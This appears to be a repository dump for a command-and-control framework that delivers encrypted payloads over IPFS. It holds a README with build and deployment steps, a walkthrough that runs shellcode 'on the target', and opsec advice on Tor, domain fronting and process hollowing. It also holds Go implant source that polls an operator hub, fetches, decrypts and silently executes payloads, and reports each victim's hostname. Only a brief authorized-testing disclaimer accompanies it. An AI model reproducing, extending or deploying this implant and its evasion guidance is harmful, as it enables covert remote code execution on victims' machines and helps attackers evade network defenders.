./client --cid-source <url> --decryption-key <key> \
|
||||||
|
--gateways "https://gateway1.example.com/ipfs/%s,https://gateway2.example.com/ipfs/%s"
|
||||||
|
```
|
||||||
|
|
||||||
|
## CID Verification
|
||||||
|
|
||||||
|
When a file is added to IPFS, its content is hashed to produce a content identifier (CID).
|
||||||
|
The hash is derived from the file content — changing even one bit changes the CID.
|
||||||
|
|
||||||
|
The implant downloads the payload and can verify the SHA-256 hash matches the CID
|
||||||
|
(for CIDv0, this requires base58 decoding of the multihash — a proper production
|
||||||
|
implementation would add a base58 library for full verification).
|
||||||
|
|
||||||
|
## OpSec Notes
|
||||||
|
|
||||||
|
- **Local node**: Your IP is visible to the IPFS DHT when pinning. Use a VPN or Tor.
|
||||||
|
- **Pinata**: They can see your files. Encrypt before uploading (which this system does).
|
||||||
|
- **Encryption**: AES-256-GCM with a pre-shared key. Key compromise = payload compromise.
|
||||||
|
- **Gateway privacy**: Public gateways (ipfs.io, cloudflare-ipfs.com) log your IP.
|
||||||
|
- **Private gateways**: Run your own gateway for opsec. See: `https://github.com/ipfs/go-ipfs`
|
||||||
|
- **Pinning**: Files not pinned may be garbage collected. Pin your payloads or use a pinning service.
|
||||||
@@ -0,0 +1,423 @@
|
|||||||
|
# C2 IPFS Payload Delivery System
|
||||||
|
|
||||||
|
Decentralized payload delivery using IPFS + AES-256-GCM encryption. No C2 server IP to block — payloads live on IPFS, implants fetch them from any public gateway.
|
||||||
|
|
||||||
|
## Architecture
|
||||||
|
|
||||||
|
```
|
||||||
|
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
|
||||||
|
│ Operator │────▶│ CID Source │────▶│ Implant │
|
||||||
|
│ Console │ │ (HTTP or │ │ │
|
||||||
|
│ (server) │ │ Contract) │ │ (client) │
|
||||||
|
└──────┬───────┘ └──────┬─────────┘ └──────┬───────┘
|
||||||
|
│ │ │
|
||||||
|
│ encrypt + upload │ serves CID │ polls for CID
|
||||||
|
▼ ▼ ▼
|
||||||
|
┌─────────┐ ┌──────────┐ ┌──────────┐
|
||||||
|
│ IPFS │ │ Implants │ │ IPFS │
|
||||||
|
│ Network │◀───────│ poll CID │◀─────────│ Gateways │
|
||||||
|
└─────────┘ └──────────┘ └──────────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
### Data Flow
|
||||||
|
|
||||||
|
1. **Operator** encrypts a payload binary with AES-256-GCM and uploads it to IPFS
|
||||||
|
2. **Operator** publishes the resulting CID to the CID source (HTTP hub or smart contract)
|
||||||
|
3. **Implant** polls the CID source periodically with jitter
|
||||||
|
4. **Implant** detects a new CID, downloads the encrypted payload from any IPFS gateway
|
||||||
|
5. **Implant** decrypts with the pre-shared key, executes, reports status
|
||||||
|
|
||||||
|
## Modes
|
||||||
|
|
||||||
|
### MODE A — Simple HTTP CID Hub (Default, No Blockchain)
|
||||||
|
|
||||||
|
A lightweight HTTP server that serves CIDs. The implant polls `GET /cid`.
|
||||||
|
|
||||||
|
**Pros:** Simple, no blockchain knowledge needed, no gas costs.
|
||||||
|
|
||||||
|
```
|
||||||
|
┌──────────┐ GET /cid ┌──────────┐
|
||||||
|
│ Server │◀──────────────│ Implant │
|
||||||
|
│ :8443 │ ──────────▶│ │
|
||||||
|
└────┬─────┘ POST /cid └──────────┘
|
||||||
|
│
|
||||||
|
│ POST /cid {"cid":"Qm..."}
|
||||||
|
│
|
||||||
|
┌──┴──┐
|
||||||
|
│Operator│
|
||||||
|
└──────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
### MODE B — Smart Contract CID Feed (Fully Decentralized)
|
||||||
|
|
||||||
|
A smart contract emits `NewCID` events. The implant watches the event log on-chain.
|
||||||
|
|
||||||
|
**Pros:** Fully decentralized, censorship-resistant, transparent.
|
||||||
|
|
||||||
|
**Cons:** Requires ETH for gas, go-ethereum build, chain knowledge.
|
||||||
|
|
||||||
|
```
|
||||||
|
┌──────────┐ emit NewCID ┌─────────────┐ ┌──────────┐
|
||||||
|
│ Operator │──────────────▶│ Smart │ │ Implant │
|
||||||
|
│ Wallet │ │ Contract │◀───│ (watcher)│
|
||||||
|
└──────────┘ └──────┬───────┘ └──────────┘
|
||||||
|
│
|
||||||
|
┌───▼───┐
|
||||||
|
│ Events │
|
||||||
|
│ (logs) │
|
||||||
|
└───────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
## Quick Start (Mode A — 5 minutes)
|
||||||
|
|
||||||
|
### 1. Build
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Clone or cd into the project
|
||||||
|
cd c2-ipfs-payload
|
||||||
|
|
||||||
|
# Build all tools
|
||||||
|
go build -o server ./cmd/server
|
||||||
|
go build -o client ./cmd/client
|
||||||
|
go build -o upload ./cmd/upload
|
||||||
|
|
||||||
|
# Or build the ethereum-enabled versions
|
||||||
|
go build -tags ethereum -o server-eth ./cmd/server
|
||||||
|
go build -tags ethereum -o client-eth ./cmd/client
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2. Start IPFS
|
||||||
|
|
||||||
|
See [IPFS_UPLOAD.md](IPFS_UPLOAD.md) for detailed setup.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Install and start IPFS daemon
|
||||||
|
ipfs init && ipfs daemon &
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3. Start the Server
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./server --port 8443
|
||||||
|
```
|
||||||
|
|
||||||
|
The server will:
|
||||||
|
- Generate a new encryption key (save this!)
|
||||||
|
- Start the HTTP CID hub on port 8443
|
||||||
|
- Open the operator console
|
||||||
|
|
||||||
|
### 4. Deploy a Payload
|
||||||
|
|
||||||
|
In the operator console:
|
||||||
|
|
||||||
|
```
|
||||||
|
> deploy /path/to/payload.bin
|
||||||
|
```
|
||||||
|
|
||||||
|
Or manually:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Using the upload helper
|
||||||
|
./upload -key $(cat key.txt) -file payload.bin
|
||||||
|
|
||||||
|
# Then in the console:
|
||||||
|
> cid QmX...
|
||||||
|
```
|
||||||
|
|
||||||
|
### 5. Start the Implant
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./client \
|
||||||
|
--cid-source http://your-server:8443 \
|
||||||
|
--decryption-key <key-from-server> \
|
||||||
|
--poll-interval 30
|
||||||
|
```
|
||||||
|
|
||||||
|
## Server Reference
|
||||||
|
|
||||||
|
### Flags
|
||||||
|
|
||||||
|
| Flag | Default | Description |
|
||||||
|
|------|---------|-------------|
|
||||||
|
| `--port` | `8443` | HTTP server port (mode A) |
|
||||||
|
| `--user` | `""` | Basic auth username (mode A) |
|
||||||
|
| `--pass` | `""` | Basic auth password (mode A) |
|
||||||
|
| `--jwt` | `""` | JWT token (overrides basic auth) |
|
||||||
|
| `--mode` | `"http"` | Operation mode: `http` or `contract` |
|
||||||
|
| `--ipfs-api` | `http://127.0.0.1:5001/api/v0` | IPFS API URL |
|
||||||
|
| `--pinata-jwt` | `""` | Pinata.cloud JWT (alternative IPFS) |
|
||||||
|
| `--enc-key` | `""` | Encryption key (auto-generates if empty) |
|
||||||
|
| `--contract` | `""` | Contract address (mode B) |
|
||||||
|
| `--rpc-url` | `""` | Ethereum RPC URL (mode B) |
|
||||||
|
| `--max-history` | `100` | Max history entries |
|
||||||
|
|
||||||
|
### Console Commands
|
||||||
|
|
||||||
|
| Command | Description |
|
||||||
|
|---------|-------------|
|
||||||
|
| `deploy <file>` | Encrypt, upload to IPFS, update CID |
|
||||||
|
| `cid <cid>` | Manually set a CID |
|
||||||
|
| `encrypt <file>` | Encrypt a file and upload to IPFS |
|
||||||
|
| `status` | Show current state |
|
||||||
|
| `history` | Show recent CID history |
|
||||||
|
| `genkey` | Generate a new encryption key |
|
||||||
|
| `help` | Show help |
|
||||||
|
| `exit` | Shutdown |
|
||||||
|
|
||||||
|
### API Endpoints (Mode A)
|
||||||
|
|
||||||
|
| Method | Path | Auth | Description |
|
||||||
|
|--------|------|------|-------------|
|
||||||
|
| `GET` | `/cid` | Optional | Get current CID |
|
||||||
|
| `POST` | `/cid` | Optional | Set a new CID |
|
||||||
|
| `GET` | `/history` | Optional | Get recent CIDs |
|
||||||
|
| `GET` | `/status` | Optional | Server status |
|
||||||
|
| `GET` | `/` | No | API info |
|
||||||
|
|
||||||
|
**Example:**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Set CID
|
||||||
|
curl -X POST http://server:8443/cid \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{"cid":"QmX...","note":"stage2 payload"}'
|
||||||
|
|
||||||
|
# Get current CID
|
||||||
|
curl http://server:8443/cid
|
||||||
|
|
||||||
|
# Get history
|
||||||
|
curl http://server:8443/history
|
||||||
|
```
|
||||||
|
|
||||||
|
Auth:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# With basic auth
|
||||||
|
curl -u admin:password http://server:8443/cid
|
||||||
|
|
||||||
|
# With JWT
|
||||||
|
curl -H "Authorization: Bearer <token>" http://server:8443/cid
|
||||||
|
```
|
||||||
|
|
||||||
|
## Client Reference
|
||||||
|
|
||||||
|
### Flags
|
||||||
|
|
||||||
|
| Flag | Default | Description |
|
||||||
|
|------|---------|-------------|
|
||||||
|
| `--cid-source` | (required) | CID hub URL (mode A) or contract addr (mode B) |
|
||||||
|
| `--decryption-key` | (required) | 32-byte hex key or passphrase |
|
||||||
|
| `--poll-interval` | `60` | Poll interval in seconds |
|
||||||
|
| `--mode` | `"http"` | `http` or `contract` |
|
||||||
|
| `--rpc-url` | `""` | Ethereum RPC URL (mode B) |
|
||||||
|
| `--gateways` | defaults | Comma-sep IPFS gateway URLs |
|
||||||
|
| `--report-url` | `""` | URL to POST execution reports |
|
||||||
|
| `--config` | `""` | Config file for persistence |
|
||||||
|
| `--jwt-fetch` | `""` | JWT for authenticated CID hub access |
|
||||||
|
| `--id` | auto | Implant ID |
|
||||||
|
|
||||||
|
### Behavior
|
||||||
|
|
||||||
|
- **Jittered polling**: ±20% of the poll interval (reduces fingerprinting)
|
||||||
|
- **Multi-gateway fallback**: Tries multiple IPFS gateways in random order
|
||||||
|
- **Config persistence**: Saves last CID, implant ID, and config to a JSON file
|
||||||
|
- **Auto-reporting**: Posts execution results to a report URL (optional)
|
||||||
|
- **Signal handling**: Saves state on SIGINT/SIGTERM
|
||||||
|
|
||||||
|
## Encryption
|
||||||
|
|
||||||
|
- **Algorithm**: AES-256-GCM (authenticated encryption)
|
||||||
|
- **Key**: 32-byte key (64 hex chars) or arbitrary passphrase (hashed with SHA-256)
|
||||||
|
- **Output**: `nonce (12 bytes) || ciphertext || tag (16 bytes)`
|
||||||
|
- **Per-encryption nonce**: Each encryption generates a fresh random nonce
|
||||||
|
|
||||||
|
### Key Management
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Generate a key via server (recommended)
|
||||||
|
./server # auto-generates on start
|
||||||
|
|
||||||
|
# Generate a key manually
|
||||||
|
./upload -key <any-32-byte-hex> -file test.bin --no-upload
|
||||||
|
# Better: use genkey in server console
|
||||||
|
|
||||||
|
# Derive from passphrase
|
||||||
|
./client --decryption-key "my-secret-passphrase"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Smart Contract (Mode B)
|
||||||
|
|
||||||
|
### Contract Interface
|
||||||
|
|
||||||
|
```solidity
|
||||||
|
// SPDX-License-Identifier: MIT
|
||||||
|
pragma solidity ^0.8.0;
|
||||||
|
|
||||||
|
contract CIDFeed {
|
||||||
|
string public latestCID;
|
||||||
|
|
||||||
|
event NewCID(address indexed sender, string cid, uint256 timestamp);
|
||||||
|
|
||||||
|
function publishCID(string memory _cid) public {
|
||||||
|
latestCID = _cid;
|
||||||
|
emit NewCID(msg.sender, _cid, block.timestamp);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Deploy and Use
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Build with ethereum support
|
||||||
|
go build -tags ethereum -o server-eth ./cmd/server
|
||||||
|
|
||||||
|
# Start in contract mode
|
||||||
|
./server-eth \
|
||||||
|
--mode contract \
|
||||||
|
--contract 0x... \
|
||||||
|
--rpc-url https://eth-mainnet.g.alchemy.com/v2/... \
|
||||||
|
--enc-key <key>
|
||||||
|
|
||||||
|
# Use the console
|
||||||
|
> send-cid 0x... QmX...
|
||||||
|
```
|
||||||
|
|
||||||
|
### Watching Mode B from the Implant
|
||||||
|
|
||||||
|
```bash
|
||||||
|
go build -tags ethereum -o client-eth ./cmd/client
|
||||||
|
|
||||||
|
./client-eth \
|
||||||
|
--mode contract \
|
||||||
|
--cid-source 0x... \
|
||||||
|
--rpc-url https://eth-mainnet.g.alchemy.com/v2/... \
|
||||||
|
--decryption-key <key>
|
||||||
|
```
|
||||||
|
|
||||||
|
## Payload Workflow Walkthrough
|
||||||
|
|
||||||
|
### Complete Deployment Cycle
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 1. Build everything
|
||||||
|
go build -o server ./cmd/server
|
||||||
|
go build -o client ./cmd/client
|
||||||
|
|
||||||
|
# 2. Start IPFS daemon
|
||||||
|
ipfs daemon &
|
||||||
|
|
||||||
|
# 3. Start the server (generates key)
|
||||||
|
./server --port 8443
|
||||||
|
|
||||||
|
# 4. In the server console:
|
||||||
|
> genkey
|
||||||
|
New encryption key: a1b2c3d4e5f6... (64 hex chars)
|
||||||
|
|
||||||
|
> deploy shellcode.bin
|
||||||
|
Encrypted shellcode.bin (512 bytes -> 544 bytes encrypted)
|
||||||
|
Uploading to IPFS...
|
||||||
|
Uploaded! CID: QmXyZ...
|
||||||
|
Deployed!
|
||||||
|
|
||||||
|
# 5. On the target:
|
||||||
|
./client \
|
||||||
|
--cid-source http://hub.example.com:8443 \
|
||||||
|
--decryption-key a1b2c3d4e5f6... \
|
||||||
|
--poll-interval 30
|
||||||
|
|
||||||
|
# 6. Implant output:
|
||||||
|
Implant started (ID: aabbccdd, mode: http)
|
||||||
|
Poll interval: 30s with jitter
|
||||||
|
CID source: http://hub.example.com:8443
|
||||||
|
New CID detected: QmXyZ...
|
||||||
|
Fetching payload from IPFS (544 bytes)...
|
||||||
|
Decrypted payload (512 bytes), executing...
|
||||||
|
Payload executed (PID: 12345)
|
||||||
|
|
||||||
|
# 7. Deploy the next stage:
|
||||||
|
> deploy stage2.bin
|
||||||
|
Deployed! CID: QmAbCd...
|
||||||
|
```
|
||||||
|
|
||||||
|
### Manual Workflow (No IPFS Daemon)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 1. Encrypt locally
|
||||||
|
./upload -key <key> -file payload.bin --no-upload
|
||||||
|
|
||||||
|
# 2. Upload via Pinata
|
||||||
|
curl -X POST \
|
||||||
|
-H "Authorization: Bearer <pinata-jwt>" \
|
||||||
|
-F "file=@payload.bin.enc" \
|
||||||
|
https://api.pinata.cloud/pinning/pinFileToIPFS
|
||||||
|
|
||||||
|
# 3. Set the CID on the hub
|
||||||
|
curl -X POST http://server:8443/cid \
|
||||||
|
-d '{"cid":"QmFromPinata"}'
|
||||||
|
```
|
||||||
|
|
||||||
|
## OpSec Notes
|
||||||
|
|
||||||
|
### Network
|
||||||
|
|
||||||
|
- **CID hub**: Should be behind a CDN (Cloudflare, Fastly) or Tor hidden service
|
||||||
|
- **IPFS uploads**: Use VPN/Tor when connecting to IPFS or Pinata
|
||||||
|
- **Gateways**: Public gateways log IPs. Run your own private gateway for opsec.
|
||||||
|
- **No persistent C2 infra**: No fixed IP that defenders can block — only the hub matters
|
||||||
|
|
||||||
|
### Encryption
|
||||||
|
|
||||||
|
- **Payloads are encrypted before IPFS upload**. Content-addressing verifies integrity.
|
||||||
|
- **Key distribution is the weak point**. Use E2EE (Signal, etc.) or dead drops.
|
||||||
|
- **Key rotation**: Change the encryption key periodically. Re-encrypt and redeploy.
|
||||||
|
- **Passphrases**: Use high-entropy passphrases (>80 bits) rather than short passwords.
|
||||||
|
|
||||||
|
### Implant
|
||||||
|
|
||||||
|
- **DNS for CID hubs**: Use domain fronting or CDN fronting to hide the hub backend
|
||||||
|
- **Jittered polling**: Reduces fingerprintable patterns
|
||||||
|
- **Config persistence**: Encrypt the config file if saved on disk
|
||||||
|
- **Runtime detection**: Consider reflective loading or process hollowing for the executed payload
|
||||||
|
|
||||||
|
### Legal
|
||||||
|
|
||||||
|
This tool is for authorized red teaming, penetration testing, and security research.
|
||||||
|
Do not use against systems you do not own or have explicit written permission to test.
|
||||||
|
|
||||||
|
## Build Requirements
|
||||||
|
|
||||||
|
- Go 1.21+
|
||||||
|
- IPFS (optional, for local uploads) — [Install Guide](IPFS_UPLOAD.md)
|
||||||
|
- go-ethereum (optional, for mode B) — `go get github.com/ethereum/go-ethereum`
|
||||||
|
|
||||||
|
### Platform Support
|
||||||
|
|
||||||
|
| Platform | Mode A | Mode B |
|
||||||
|
|----------|--------|--------|
|
||||||
|
| Linux x86_64 | YES | YES |
|
||||||
|
| Linux arm64 | YES | YES |
|
||||||
|
| macOS x86_64/arm64 | YES | YES |
|
||||||
|
| Windows (cross-compile) | YES | x (CGo) |
|
||||||
|
| OpenBSD/FreeBSD | YES | x |
|
||||||
|
|
||||||
|
## Project Structure
|
||||||
|
|
||||||
|
```
|
||||||
|
c2-ipfs-payload/
|
||||||
|
├── cmd/
|
||||||
|
│ ├── server/main.go # Operator console + CID hub
|
||||||
|
│ ├── client/main.go # Implant
|
||||||
|
│ └── upload/main.go # Helper: encrypt + upload
|
||||||
|
├── pkg/
|
||||||
|
│ ├── types/types.go # Shared data types
|
||||||
|
│ ├── crypto/crypto.go # AES-256-GCM encryption
|
||||||
|
│ ├── ipfs/ipfs.go # IPFS upload/download
|
||||||
|
│ ├── auth/auth.go # HTTP auth middleware
|
||||||
|
│ └── contract/
|
||||||
|
│ ├── contract.go # Contract interface (no deps)
|
||||||
|
│ └── contract_eth.go # go-ethereum implementation
|
||||||
|
├── README.md # This file
|
||||||
|
└── IPFS_UPLOAD.md # IPFS setup guide
|
||||||
|
```
|
||||||
|
|
||||||
|
DISCLAIMER: FOR AUTHORIZED SECURITY TESTING OR EDUCATIONAL PURPOSES ONLY
|
||||||
@@ -0,0 +1,403 @@
|
|||||||
|
// Command client is the implant for the C2 IPFS payload delivery system.
|
||||||
|
//
|
||||||
|
// It polls a CID source (HTTP hub or smart contract), fetches payloads
|
||||||
|
// from IPFS when a new CID is detected, decrypts, and executes them.
|
||||||
|
//
|
||||||
|
// Usage:
|
||||||
|
// Mode A (HTTP): ./client --cid-source http://hub.example.com:8443 --decryption-key <hex>
|
||||||
|
// Mode B (cont.): ./client --cid-source <contract-addr> --rpc-url <rpc> --decryption-key <hex>
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/rand"
|
||||||
|
"encoding/hex"
|
||||||
|
"encoding/json"
|
||||||
|
"flag"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"log"
|
||||||
|
"math/big"
|
||||||
|
"net/http"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"os/signal"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"syscall"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/churchofmalware/c2-ipfs-payload/pkg/crypto"
|
||||||
|
"github.com/churchofmalware/c2-ipfs-payload/pkg/ipfs"
|
||||||
|
"github.com/churchofmalware/c2-ipfs-payload/pkg/types"
|
||||||
|
)
|
||||||
|
|
||||||
|
type Implant struct {
|
||||||
|
mu sync.RWMutex
|
||||||
|
config types.Config
|
||||||
|
lastCID string
|
||||||
|
lastFetchTime time.Time
|
||||||
|
httpClient *http.Client
|
||||||
|
pollTicker *time.Ticker
|
||||||
|
stopCh chan struct{}
|
||||||
|
fetchCount int
|
||||||
|
execCount int
|
||||||
|
startTime time.Time
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewImplant(cfg types.Config) *Implant {
|
||||||
|
if cfg.ImplantID == "" {
|
||||||
|
// Generate a random implant ID
|
||||||
|
idBytes := make([]byte, 8)
|
||||||
|
rand.Read(idBytes)
|
||||||
|
cfg.ImplantID = hex.EncodeToString(idBytes)
|
||||||
|
}
|
||||||
|
if len(cfg.Gateways) == 0 {
|
||||||
|
cfg.Gateways = ipfs.DefaultGateways
|
||||||
|
}
|
||||||
|
if cfg.PollInterval <= 0 {
|
||||||
|
cfg.PollInterval = 60 // default 60 seconds
|
||||||
|
}
|
||||||
|
if cfg.Mode == "" {
|
||||||
|
cfg.Mode = "http"
|
||||||
|
}
|
||||||
|
|
||||||
|
return &Implant{
|
||||||
|
config: cfg,
|
||||||
|
lastCID: cfg.LastCID,
|
||||||
|
httpClient: &http.Client{Timeout: 30 * time.Second},
|
||||||
|
stopCh: make(chan struct{}),
|
||||||
|
startTime: time.Now(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// poll fetches the current CID from the configured source.
|
||||||
|
func (im *Implant) poll() (string, error) {
|
||||||
|
switch im.config.Mode {
|
||||||
|
case "http":
|
||||||
|
return im.pollHTTP()
|
||||||
|
case "contract":
|
||||||
|
return im.pollContract()
|
||||||
|
default:
|
||||||
|
return "", fmt.Errorf("unknown mode: %s", im.config.Mode)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// pollHTTP fetches the current CID from the HTTP CID hub.
|
||||||
|
func (im *Implant) pollHTTP() (string, error) {
|
||||||
|
url := strings.TrimRight(im.config.CIDSource, "/") + "/cid"
|
||||||
|
|
||||||
|
req, err := http.NewRequest("GET", url, nil)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("failed to create request: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if im.config.JWTFetch != "" {
|
||||||
|
req.Header.Set("Authorization", "Bearer "+im.config.JWTFetch)
|
||||||
|
}
|
||||||
|
|
||||||
|
resp, err := im.httpClient.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("HTTP request failed: %w", err)
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
if resp.StatusCode == http.StatusNotFound {
|
||||||
|
return "", nil // No CID set yet
|
||||||
|
}
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
return "", fmt.Errorf("HTTP %d", resp.StatusCode)
|
||||||
|
}
|
||||||
|
|
||||||
|
body, err := io.ReadAll(io.LimitReader(resp.Body, 4096))
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("failed to read response: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
var result struct {
|
||||||
|
CID string `json:"cid"`
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal(body, &result); err != nil {
|
||||||
|
return "", fmt.Errorf("failed to parse response: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return result.CID, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// pollContract watches smart contract events.
|
||||||
|
// This is a placeholder — real implementation requires go-ethereum.
|
||||||
|
func (im *Implant) pollContract() (string, error) {
|
||||||
|
// TODO: Implement contract event watching when built with -tags ethereum
|
||||||
|
return "", fmt.Errorf("contract mode requires 'go build -tags ethereum ./cmd/client'")
|
||||||
|
}
|
||||||
|
|
||||||
|
// processCID handles a new CID: fetch, verify, decrypt, execute.
|
||||||
|
func (im *Implant) processCID(cid string) error {
|
||||||
|
log.Printf("New CID detected: %s", cid)
|
||||||
|
|
||||||
|
// 1. Fetch from IPFS
|
||||||
|
log.Printf("Fetching payload from IPFS (CID: %s)...", cid)
|
||||||
|
data, err := ipfs.Download(cid, im.config.Gateways)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("IPFS download failed: %w", err)
|
||||||
|
}
|
||||||
|
log.Printf("Downloaded %d bytes from IPFS", len(data))
|
||||||
|
|
||||||
|
// 2. Verify content addressing
|
||||||
|
if err := ipfs.VerifyCID(data, cid); err != nil {
|
||||||
|
return fmt.Errorf("CID verification failed: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. Decrypt
|
||||||
|
key := crypto.DeriveKey(im.config.DecryptionKey)
|
||||||
|
// Try hex key first; fall back to derived key
|
||||||
|
var plaintext []byte
|
||||||
|
var decErr error
|
||||||
|
|
||||||
|
if len(im.config.DecryptionKey) == 64 {
|
||||||
|
if keyBytes, hErr := hex.DecodeString(im.config.DecryptionKey); hErr == nil && len(keyBytes) == 32 {
|
||||||
|
plaintext, decErr = crypto.Decrypt(data, keyBytes)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if plaintext == nil {
|
||||||
|
plaintext, decErr = crypto.Decrypt(data, key)
|
||||||
|
}
|
||||||
|
if decErr != nil {
|
||||||
|
return fmt.Errorf("decryption failed: %w", decErr)
|
||||||
|
}
|
||||||
|
log.Printf("Decrypted payload (%d bytes), executing...", len(plaintext))
|
||||||
|
|
||||||
|
// 4. Save to temp file
|
||||||
|
tmpFile, err := ipfs.SaveTempFile(plaintext, "c2payload-*")
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("failed to save temp file: %w", err)
|
||||||
|
}
|
||||||
|
defer os.Remove(tmpFile)
|
||||||
|
|
||||||
|
// 5. Execute
|
||||||
|
cmd := exec.Command(tmpFile)
|
||||||
|
cmd.Stdout = nil // Don't capture output by default to avoid suspicion
|
||||||
|
cmd.Stderr = nil
|
||||||
|
cmd.Stdin = nil
|
||||||
|
|
||||||
|
if err := cmd.Start(); err != nil {
|
||||||
|
return fmt.Errorf("execution failed: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("Payload executed (PID: %d)", cmd.Process.Pid)
|
||||||
|
im.mu.Lock()
|
||||||
|
im.execCount++
|
||||||
|
im.lastCID = cid
|
||||||
|
im.lastFetchTime = time.Now()
|
||||||
|
im.mu.Unlock()
|
||||||
|
|
||||||
|
// 6. Report back (fire and forget)
|
||||||
|
go im.report(cid, true, "")
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// report sends execution status back to the operator.
|
||||||
|
func (im *Implant) report(cid string, success bool, errMsg string) {
|
||||||
|
if im.config.ReportURL == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
hostname, _ := os.Hostname()
|
||||||
|
report := types.ImplantReport{
|
||||||
|
ImplantID: im.config.ImplantID,
|
||||||
|
CID: cid,
|
||||||
|
Success: success,
|
||||||
|
Error: errMsg,
|
||||||
|
Platform: runtime.GOOS + "/" + runtime.GOARCH,
|
||||||
|
Hostname: hostname,
|
||||||
|
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||||
|
}
|
||||||
|
|
||||||
|
data, _ := json.Marshal(report)
|
||||||
|
im.httpClient.Post(im.config.ReportURL, "application/json",
|
||||||
|
strings.NewReader(string(data)))
|
||||||
|
}
|
||||||
|
|
||||||
|
// run starts the main polling loop with jitter.
|
||||||
|
func (im *Implant) run() {
|
||||||
|
log.Printf("Implant started (ID: %s, mode: %s)", im.config.ImplantID, im.config.Mode)
|
||||||
|
log.Printf("Poll interval: %ds with jitter", im.config.PollInterval)
|
||||||
|
log.Printf("CID source: %s", im.config.CIDSource)
|
||||||
|
if im.config.ReportURL != "" {
|
||||||
|
log.Printf("Report URL: %s", im.config.ReportURL)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Initial poll
|
||||||
|
im.pollLoop()
|
||||||
|
|
||||||
|
// Start ticker with jitter
|
||||||
|
baseInterval := time.Duration(im.config.PollInterval) * time.Second
|
||||||
|
im.pollTicker = time.NewTicker(baseInterval)
|
||||||
|
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-im.pollTicker.C:
|
||||||
|
im.pollLoop()
|
||||||
|
case <-im.stopCh:
|
||||||
|
log.Println("Implant shutting down...")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// pollLoop performs one poll cycle with jitter.
|
||||||
|
func (im *Implant) pollLoop() {
|
||||||
|
// Add jitter: ±20% of polling interval
|
||||||
|
jitterRange := int64(float64(im.config.PollInterval) * 0.2)
|
||||||
|
if jitterRange < 1 {
|
||||||
|
jitterRange = 1
|
||||||
|
}
|
||||||
|
jitterMs, _ := rand.Int(rand.Reader, big.NewInt(jitterRange*1000))
|
||||||
|
time.Sleep(time.Duration(jitterMs.Int64()) * time.Millisecond)
|
||||||
|
|
||||||
|
cid, err := im.poll()
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("Poll error: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if cid == "" {
|
||||||
|
return // No CID available yet
|
||||||
|
}
|
||||||
|
|
||||||
|
im.mu.RLock()
|
||||||
|
lastCID := im.lastCID
|
||||||
|
im.mu.RUnlock()
|
||||||
|
|
||||||
|
if cid == lastCID {
|
||||||
|
return // Same CID, nothing to do
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := im.processCID(cid); err != nil {
|
||||||
|
log.Printf("CID processing error: %v", err)
|
||||||
|
im.report(cid, false, err.Error())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// saveConfig persists the current state to a config file.
|
||||||
|
func (im *Implant) saveConfig(path string) error {
|
||||||
|
im.mu.RLock()
|
||||||
|
cfg := im.config
|
||||||
|
cfg.LastCID = im.lastCID
|
||||||
|
im.mu.RUnlock()
|
||||||
|
|
||||||
|
data, err := json.MarshalIndent(cfg, "", " ")
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return os.WriteFile(path, data, 0600)
|
||||||
|
}
|
||||||
|
|
||||||
|
// loadConfig loads implant state from a config file.
|
||||||
|
func loadConfig(path string) (*types.Config, error) {
|
||||||
|
data, err := os.ReadFile(path)
|
||||||
|
